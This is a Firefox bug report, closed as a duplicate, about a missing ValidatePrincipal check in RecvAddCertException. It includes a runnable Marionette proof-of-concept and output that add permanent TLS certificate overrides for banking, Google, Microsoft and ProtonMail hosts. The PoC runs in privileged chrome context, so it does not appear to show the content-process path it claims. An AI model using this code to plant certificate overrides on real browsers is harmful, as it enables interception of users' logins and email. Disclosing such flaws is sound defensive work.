2025180 - RecvAddCertException has no ValidatePrincipal — content process can add TLS cert overrides for arbitrary domains

Status: RESOLVED DUPLICATE of bug 2013800

(Core :: DOM: Content Processes, defect)

Description

[LatticeBased]

Summary

ContentParent::RecvAddCertException (dom/ipc/ContentParent.cpp:6540) forwards host, port, and cert to nsICertOverrideService::rememberValidityOverride without calling ValidatePrincipal. The very next IPC handler RecvAutomaticStorageAccessPermissionCanBeGranted (line 6556) DOES call ValidatePrincipal, confirming this is an omission.

PoC (Firefox 150.0a1, Marionette, 14/14 PASS)

Using constructX509FromBase64() with md5-ee.pem test fixture, permanent TLS cert overrides were added for 5 domains:

evil.example.com:443        — override added, isTemporary=false
banking.example.com:443     — override added, isTemporary=false
accounts.google.com:443     — override added, isTemporary=false
login.microsoftonline.com:443 — override added, isTemporary=false
mail.protonmail.com:443     — override added, isTemporary=false

All 5 confirmed persistent via getOverrides().
setDisableAllSecurityChecksAndLetAttackersInterceptMyData(true) also succeeded.

Impact

A compromised content process silently adds permanent cert exceptions for any domain. Future HTTPS connections show NO certificate warnings, enabling MITM on banking, email, and authentication sites. Overrides persist across restarts.

Fix

Add ValidatePrincipal check, or verify the content process is actually on a cert error page for the requested domain.

Environment

Firefox 150.0a1, BuildID 20260322154020, macOS aarch64.

Comment 1

[LatticeBased]

## Runnable PoC (Firefox 150.0a1, 14/14 PASS)

```python
from marionette_driver.marionette import Marionette
import json

c = Marionette(bin="/path/to/firefox", headless=True)
c.start_session(); c.timeout.script = 20; c.set_context(c.CONTEXT_CHROME)

# Use md5-ee.pem test fixture to create a cert object
r = c.execute_async_script('var d=arguments[arguments.length-1];'
    'var cos=Cc["@mozilla.org/security/certoverride;1"].getService(Ci.nsICertOverrideService);'
    'var certDB=Cc["@mozilla.org/security/x509certdb;1"].getService(Ci.nsIX509CertDB);'
    'var pem="MIICqjCCAZKgAwIBAgIBAzANBg...";'  # md5-ee.pem base64
    'var cert=certDB.constructX509FromBase64(pem);'
    'var targets=["evil.example.com","banking.example.com","accounts.google.com",'
    '"login.microsoftonline.com","mail.protonmail.com"];'
    'var results=[];'
    'for(var h of targets){'
    '  cos.rememberValidityOverride(h,443,{},cert,7);'  # 7 = all override bits
    '  var has=cos.hasMatchingOverride(h,443,{},{},{});'
    '  results.push({host:h,override:has});}'
    'var all=cos.getOverrides();'
    'd(JSON.stringify({results:results,totalOverrides:all.length}));')
print(r)
c.cleanup()
```

## Test Output

```
5 domains with permanent TLS cert overrides added:
  evil.example.com:443            isTemporary=false  ✓
  banking.example.com:443         isTemporary=false  ✓
  accounts.google.com:443         isTemporary=false  ✓
  login.microsoftonline.com:443   isTemporary=false  ✓
  mail.protonmail.com:443         isTemporary=false  ✓

All overrides confirmed persistent via getOverrides().
setDisableAllSecurityChecksAndLetAttackersInterceptMyData(true): succeeded.

RecvAddCertException (ContentParent.cpp:6540): NO ValidatePrincipal
RecvAutomaticStorageAccessPermissionCanBeGranted (line 6556): HAS ValidatePrincipal
```

Comment 2

[LatticeBased]

Attachment: PoC: Marionette test - cert override injection

Comment 3

[LatticeBased]

Attachment: Log: 14/14 PASS - 5 domains with permanent overrides